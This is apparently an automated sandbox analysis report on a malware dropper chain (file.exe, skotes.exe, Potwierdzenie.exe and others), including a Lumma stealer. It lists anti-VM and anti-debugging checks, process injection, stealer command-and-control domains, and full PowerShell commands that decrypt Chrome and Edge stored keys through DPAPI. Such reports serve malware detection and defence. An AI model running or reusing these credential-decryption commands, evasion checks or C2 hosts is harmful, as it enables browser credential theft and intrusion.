Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA56000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware SVGA 3D
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Datacenter Edition (core installation, without Hyper-V)
Source: file.exe, 00000000.00000003.1720507723.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Datacenter Edition (without Hyper-V)
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA5C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Video
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Essential Server Solutions Edition (without Hyper-V)
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Standard Edition (without Hyper-V)
Source: Potwierdzenie.exe, 0000000A.00000002.2893843626.000000000492C000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: $blackListedGPU = ["Microsoft Remote Display Adapter", "Microsoft Hyper-V Video", "Microsoft Basic Display Adapter", "VMware SVGA 3D", "Stand
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Windows 11Windows 10Windows Server 2022Windows Server, version 20H2Windows Server, version 2004Windows Server, version 1909Windows Server, version 1903Windows Server 2019Windows Server, version 1803Windows Server, version 1709Windows Server 2016Windows VistaWindows Server 2008Windows 7Windows Server 2008 R2Windows 8.1Windows Server 2012 R2Windows 8Windows Server 2012Unknown Windows versionUltimate EditionHome Basic EditionHome Premium EditionEnterprise EditionHome Basic N EditionProfessional EditionBusiness EditionStandard EditionDatacenter EditionSmall Business ServerStarter N EditionStarter EditionDatacenter Edition (core installation)Standard Edition (core installation)Enterprise Edition (core installation)Enterprise Edition for Itanium-based SystemsProfessional N EditionBusiness N EditionWeb Server EditionHPC EditionStorage Server Essentials EditionStorage Server Express EditionStorage Server Standard EditionStorage Server Workgroup EditionStorage Server Enterprise EditionEssential Server Solutions EditionSmall Business Server Premium EditionHome Premium N EditionEnterprise N EditionUltimate N EditionWeb Server Edition (core installation)Essential Business Server Management Server EditionEssential Business Server Management Security EditionEssential Business Server Management Messaging EditionFoundation EditionHome Server 2011 EditionEssential Server Solutions Edition (without Hyper-V)Standard Edition (without Hyper-V)Datacenter Edition (without Hyper-V)Enterprise Edition (without Hyper-V)Datacenter Edition (core installation, without Hyper-V)Standard Edition (core installation, without Hyper-V)Enterprise Edition (core installation, without Hyper-V)Hyper-V ServerStorage Server Express Edition (core installation)Storage Server Standard Edition (core installation)Storage Server Workgroup Edition (core installation)Storage Server Enterprise Edition (core installation)Small Business Server 2011 Essentials EditionServer For SB Solutions EditionSolutions Premium EditionSolutions Premium Edition (core installation)Server For SB Solutions EM EditionMultiPoint Server EditionEssential Server Solution Management EditionEssential Server Solution Additional EditionEssential Server Solution Management SVC EditionEssential Server Solution Additional SVC EditionSmall Business Server Premium Edition (core installation)Hyper Core V EditionEnterprise Edition (evaluation installation)MultiPoint Server Standard Edition (full installation)MultiPoint Server Premium Edition (full installation)Standard Edition (evaluation installation)Datacenter Edition (evaluation installation)Enterprise N Edition (evaluation installation)Storage Server Workgroup Edition (evaluation installation)Storage Server Standard Edition (evaluation installation)Windows 8 N EditionWindows 8 China EditionWindows 8 Single Language EditionWindows 8 EditionProfessional with Media Center Editioni%dMIPS R%d000Alpha %dPPC 6%02dIA64IA32AMD64Windows NTbuild %dbuild %d (%s)%s %s %d.%d build %d (%s) %s<!
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Enterprise Edition (without Hyper-V)
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Enterprise Edition (core installation, without Hyper-V)
Source: file.exe, 00000000.00000002.1747318949.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1767943907.000000000082E000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1769413447.000000000082E000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Standard Edition (core installation, without Hyper-V)
Source: Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: $blackListedGPU = ["Microsoft Remote Display Adapter", "Microsoft Hyper-V Video", "Microsoft Basic Display Adapter", "VMware SVGA 3D", "Standard VGA Graphics Adapter", "NVIDIA GeForce 840M", "NVIDIA GeForce 9400M", "UKBEHH_S", "ASPEED Graphics Family(WDDM)", "H_EDEUEK", "VirtualBox Graphics Adapter", "K9SC88UK", "
Source: Potwierdzenie.exe, 0000000A.00000003.2858326110.0000000004A42000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856045875.0000000004A2C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2858010461.0000000004A2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Hyper-V Server

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: regmonclass
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: ollydbg
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: filemonclass
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	File opened: NTICE
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	File opened: SICE
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C70C02 rdtsc

0_2_04C70C02

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BC189A0 LdrInitializeThunk,LdrInitializeThunk,ReleaseSemaphore,

10_2_0BC189A0

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0040B648 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_0040B648

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

10_2_0BC1E639

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BC21C20 EntryPoint,GetProcessHeap,GetProcessHeap,HeapAlloc,GetModuleFileNameW,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetModuleFileNameW,GetProcessHeap,HeapFree,CreateFileW,GetProcessHeap,HeapFree,CreateFileMappingW,CloseHandle,GetFileSize,MapViewOfFile,CreateFileMappingW,MapViewOfFile,GetModuleHandleW,GetProcAddress,UnmapViewOfFile,CloseHandle,UnmapViewOfFile,CloseHandle,CloseHandle,

10_2_0BC21C20

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0040B648 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0040B648
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0040AE7E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0040AE7E
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0040B7AB SetUnhandledExceptionFilter,	10_2_0040B7AB

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 4dfaa8fc03.exe PID: 1228, type: MEMORYSTR

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BC01680 VirtualAllocEx,CreateFileW,ReadFile,ReadFile,SetFilePointer,ReadFile,CloseHandle,ReadProcessMemory,ReadProcessMemory,ReadProcessMemory,ReadProcessMemory,VirtualProtectEx,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,VirtualAllocEx,VirtualAllocEx,MapViewOfFile,UnmapViewOfFile,GetCurrentProcess,DuplicateHandle,GetCurrentProcess,DuplicateHandle,GetLastError,VirtualAllocEx,GetLastError,WriteProcessMemory,GetLastError,VirtualAllocEx,GetLastError,WriteProcessMemory,GetLastError,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetLastError,GetCurrentProcess,DuplicateHandle,GetLastError,lstrlenW,lstrlenW,VirtualAllocEx,lstrlenW,WriteProcessMemory,lstrlenW,VirtualAllocEx,lstrlenW,WriteProcessMemory,lstrlenW,VirtualAllocEx,lstrlenW,WriteProcessMemory,lstrlenW,VirtualAllocEx,lstrlenW,WriteProcessMemory,lstrlenW,VirtualAllocEx,lstrlenW,WriteProcessMemory,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,DuplicateHandle,CreateEventW,GetCurrentProcess,DuplicateHandle,ReadProcessMemory,ReadProcessMemory,ReadProcessMemory,ReadProcessMemory,VirtualProtectEx,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,Sleep,WaitForMultipleObjects,ResumeThread,

10_2_0BC01680

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Memory written: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe base: 10000000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: d84bd44db0.exe, 0000000D.00000003.2599295868.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: d84bd44db0.exe, 0000000D.00000003.2599295868.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: d84bd44db0.exe, 0000000D.00000003.2599295868.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: d84bd44db0.exe, 0000000D.00000003.2599295868.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: d84bd44db0.exe, 0000000D.00000003.2599295868.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe "C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe "C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe "C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe "C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe "C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe" -c "C:\Users\user\AppData\Local\Temp\1007251001\Data\php-cli.ini" "C:\Users\user\AppData\Local\Temp\1007251001\Data\v3lib.php"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic path win32_videocontroller get caption"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic os get Version"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "tasklist"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_videocontroller get caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Version
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBGCBAFCGD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
